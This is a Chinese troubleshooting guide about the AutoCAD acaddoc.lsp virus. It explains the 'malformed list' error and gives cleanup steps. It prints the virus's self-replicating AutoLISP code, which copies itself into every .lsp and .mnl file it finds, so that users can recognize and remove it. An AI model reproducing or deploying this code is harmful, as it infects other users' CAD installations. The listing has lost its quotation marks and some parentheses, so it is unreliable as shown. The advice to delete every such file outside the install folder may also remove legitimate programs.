AutoCAD菜单实用程序已加载.docx

AutoCAD 菜单实用程序已加载。; 错误: 输入的列表有缺陷AutoCAD 菜单实用程序已加载。; 错误: 输入的列表有缺陷=acaddoc.lspCAD出现这种现象基本有以下几种情况：1。一般是由CAD的安装目录下或CAD的SUPPORT目录下有acad.lsp这个文件引起的。这个文件可能是单位里有自己开发的程序，使自己单位人员编写的。2。CAD病毒程序。判断是不是CAD被病毒破坏3。查找电脑的其它目录中（主要是windows的系统目录）是否还有这些文件：hysoft*.dll,KtCnPub*.dll及RyClient.dll sx32w.dll，如果有，删除后试一下（除了软件目录下的）。（搜索文件时，注意选择“搜索隐藏的文件”）=以下是相关操作步骤：1、若发现文件夹中多出ACADDOC.LSP文件即说明你的CAD中毒了。2、关闭CAD程序。3、全盘搜索 *.fas *.lsp *.mnl *.arx文件，除了CAD安装目录以外的该类文件均全部删除。4、检查CAD安装目录文件的修改时间，把ACADDOC.LSP病毒感染X:/Program Files/AutoCAD20*/Support文件夹下的3d.lsp；3darray.lsp；acad2010.lsp；acad2010doc.lsp；acadinfo.lsp；ai_utils.lsp；attredef.lsp；edge.lsp；mvsetup.lsp；sample-profile-util.lsp文件以及C:/Documents and Settings/用户名/Application Data/Autodesk/AutoCAD 20*/R16.2/chs/Support下的*.MNL文件中的病毒代码删除。（用记事本打开）5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。说明： 要删除的病毒代码在文件的尾部，具体如下：(setq flagx t)(setq bz (setq flagx t)(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil) (setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target r)(while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while(close wjm1) );progn );if(if flag1(progn(setq wjm (open source r)(setq wjm1 (open target a)(write-line (chr 13) wjm1)(while (setq text (read-line wjm)(if (= text bz) (setq flag t)(if flag(progn(write-line text wjm1) );progn );if );while(close wjm1)(close wjm) );progn );if );defun(setvar cmdecho 0)(setq acadmnl (findfile acad.mnl)(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath *.mnl)(setq mnlnum (length mnlfilelist)(setq acadexe (findfile acad.exe)(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath /support)(setq lspfilelist (vl-directory-files support *.lsp)(setq lspfilelist (append lspfilelist (list acaddoc.lsp)(setq lspnum (length lspfilelist)(setq dwgname (getvar dwgname)(setq dwgpath (findfile dwgname)(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath)(setq acaddocfile (strcat acaddocpath /acaddoc.lsp) (setq mnln 0)(while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath / (nth mnln mnlfilelist)(app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln) );while(setq lspn 0)(while ( lspn lspnum) (setq lspfilename (strcat support / (nth lspn lspfilelist)(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn);while );progn);if(setq mnln 0)(while ( mnln mnlnum)(setq mnlfilename (strcat acadmnlpath / (nth mnln mnlfilelist)(setq mnln1 0)(while ( mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath / (nth mnln1 mnlfilelist)(app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1) );while(setq lspn1 0) (while ( lspn1 lspnum)(setq lspfilename1 (strcat support / (nth lspn1 lspfilelist)(app mnlfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln (1+ mnln);while (setq lspn 0) (while ( lspn lspnum)(setq lspfilename (strcat support / (nth lspn lspfilelist)(setq lspn1 0)(while ( lspn1 lspnum)(setq lspfilename1 (strcat support / (nth lspn1 lspfilelist)(app lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1);while(setq mnln1 0)(while ( mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath / (nth mnln1 mnlfilelist)(app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1);while(setq lspn (1+ lspn)(load acadapq)(princ)后面可能还会有一些病毒程序代码，但大同小异，大部分以(setq flagxt)开头。 该方法绝对不会对CAD的功能使用造成影响，请大家放心使用。照此方法操作，再启动Autocad和打开文件时没有“输入的列表有缺陷”的提示了，启动速度快了，并且3DArray命令可以使用了。非常感谢该文的作者。